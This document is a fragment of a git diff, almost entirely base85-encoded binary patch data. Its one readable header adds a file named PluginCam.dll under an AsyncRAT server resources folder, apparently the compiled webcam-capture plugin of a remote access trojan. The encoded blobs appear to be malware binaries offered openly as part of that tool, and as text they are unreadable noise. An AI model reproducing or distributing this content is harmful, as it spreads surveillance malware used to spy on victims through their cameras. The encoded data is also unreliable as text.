zPmmK5T|>ZR`Z}aPTYEn=Wx5|2qO-80&>x0)tnb2(ME{fYZ^T%uQi*;;`23)-^F3Hl z=uL3KR281ERHB!KZ(oK~B1TzoLV*rH$z^H|%kbof!jr!jo~WX4O)3Rai9De{jhIMu zTFl~;!ZPz&+CX0kOQZu;+60W!PGB>3%2&dzbUp5m+W2=usSalC}UJrvz|C=%1zAr3C#N^m{PV*MTkc z7H|tzyoa{a4}iPr-+_HNxeW--qXJh1z98^*f$s|>iLE6B4hW3Vu3+DWuo7GpoHIM% z!6)fclvh0E0p&a?c$4UkaGHhblBgqeQPd6erl{A^Wl^uEtD@dO%^K_Lv;$d!=QzD5 z_^osW;|)k#D5c>&0y}yJwXy;gjJ;ZZA0!gDUcN}L2!-o;F9|Y)TvTv{adGLQm!t&N zT$HR)G2G)uX)ooS$&Bsw?L)(_YodU&cR$@b>XfRMaX(FD$A{9n+-xqLpFK1=o=?)@ zY$l(cO(lowvY~7`308g>b*j#t8l4q%E}tArC9|p7Z03RCd=AV*lbLLKRWUU=F*^*M zk#xOpZZbEK9z&OOZgO;$olj>+Gh-NwQt6R2s+xBgOSnb3hsTD7v*Tl#BWdE%XNShe z^4al`y5^zDboSxdk<2J2k($kn9URY&Ci9u`vAPD&^j3Vo=dC0deS9LF_04c_#t)CB zvvq^Xk&)Tt5J$1j3L+M`Pk4QuNGFn&WxEI~bi80yjoDc$6}$p1Rf>*lnR7I1R*IBg zbd5qOQ=$piDH@duS`QdrKnyN}oLlycN)}3lRjn==eh>0QN3zQHh+!{yi(`gSGPtvC zxMnd~G-$|KT5@b|Wo%@M$1T6}aKSEF24$g;4d zE&68irUzq%a@jJA1z!HRUzU~ zHZ9><*02gEMXRzZ55mA|5Y3sE=`F8HbJcR$#hfQ?OsBA5l!ovb@rVj!g&MUZHwVbi%p(d89zBSgcf<#=aRSDK)EpN=@Wh+ma#)^+@G0!Q}pjg^qg$XmI<%7#bZNGc^S`wLMiZf)L3%dW#WBQn`XemP0EF9Dbt1TtaHPL{T=Q=(=+56n%U8E!=Ned-#qC!L0 znUootLO33FMB20_y;*P6v~3y}S<}>QVbR&p#tNDe0RzKpYC>j_+(F@pye-_IL_tCt+o>cdwiJO_ zuf{&wlu#x8w7zmii+vPo%+_KnPicR4YG!Iv|NG}~5R>@8rjf#5IFuF4S>fZDGQhwh zg+CndISn9AcX%NZ-vtyjNZ~IP7?P#pJV&s?gxs-1RvTosDTF!6suoi5tqdPbnwr|% z<%agAX1y7K!j$FqZ9HYUU2E3x^P8AjGiEPq?V3hmMool)!-aV?MJOaU!EQ~vp}B!s z?Fc0_r1sd(XtRXiG_Otr<4JwrkYyr0F-X(Kx+Wf5 zWvj5vXNXQVk*G@&{RzKABIqwhr$4{z)t9-&&e*u#z<2jI{FiHHi^40gwq$du+-HCE z*#pmd-^yHk`@(B8SDqQ=Sqyz>W)erG%FNi%OvS0XMPtS_%1&kG`e)&dq%-&E42~8C z?kP8jddj6aIud*_XAeAXC%AQUseM`ZC9^}0o3gCY0v?Lu%xDmBAOGG0+*{LI1xl z^qTT-SN(S?9)XKrf7mB@YXylJFi@p%Nw8WV7j{g%qvBAEY?&uVDD4ov@{kt5tw7Fq zI1^INC@zkc0=z@a})>2lszje$faZq4|6G(`)W(zo^My_W%DA Gf&T{O>XerN diff --git a/AsyncRAT-C#/Server/Resources/PluginCam.dll b/AsyncRAT-C#/Server/Resources/PluginCam.dll new file mode 100644 index 0000000000000000000000000000000000000000..e63a310929ed02d70b1d07d843e4681b5891b81e GIT binary patch literal 84480 zcmb??WmuI<*YGCXz^0@dq&FQ(cb5nVh)8#{=}u`RrKF{$k!}QOq(M3qq)SrzyMc3_ zbKbb#U*CPn%&M7{vt}&CH!&at5D0__{M_DxK=r_U_le$*|M%brurVkaF+kNQgOv4f z&j%^h%q<+B*g3$=91Lup7#Y~w!knHMnmloEwtZq@`$SSn^@$D4*n|}w9YXWh*2+>K z&~rEhkeu{f_utxzbuw{t0&ru|zx=xM^)I{s76X>(vpP6B7y*QP+W;Hy9hC&;e|@4rx>y}dtYLuQ zovk3i=KH;5|A(CTzn0yDqWTXqcecTU9)SY+;Xpe;a{gX<#R>w2qW+Ej_tpOsCx!wG zz>LH`z!F48a`=0b0rW0acj*00>;pvl9=)H5eSqxUqxUnh&!fN4`nG zbcYiA0MWgt-p|B7D1V{%GYCY&jsyz+%WMQc2*4yHAaw+^Luj9XdO;u!SFCZEd&NAgAhcb1CgM`r{GVA0a_vWDgOtPAO#AT0)YVrKnS3~!iVh$90BDJ zeB2u_E=&Pju>~_02_jV z&B^Wvm;eFS5h!@blMnnL&=YoNz)>s!{aX*^Wjzw-^F1(u^C{Z~5&{#N;5 z6w-rHcf0*#ndZMX{)c+6^67{FP7naf3aAgTBORdafqCZ)lpYx9{#DoytpDcG{Ym+^ z&Hqb{GNJw}&OibF8v_dP-}M&?MEvgO@A@NQM+BV$4g)#Ga)bf~LBQ}%0G|ZL03cuo z0JMVvwE=-K0Rt)$Uk@ORkf5K7cU9krf#5VQjz%11>^{BL^_}0dW_j@9+?W0C)*U!j1r9 z2OI}lBbFm@`9UE6*aqVRa5N@1WEjwBAWlHU;LyP+FaZE@P`PtZ5P)ESs}MSre>|W= zh6w{CmcB(?WM{xdI2=SQL}nx`M3@Lbp1%(~Di|gTAov^_NdH9rKF}~RfR6M}j2$%Z zoO~d{{`S`gXg7#|5&she@O?YKr!uMi|J&99=¥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 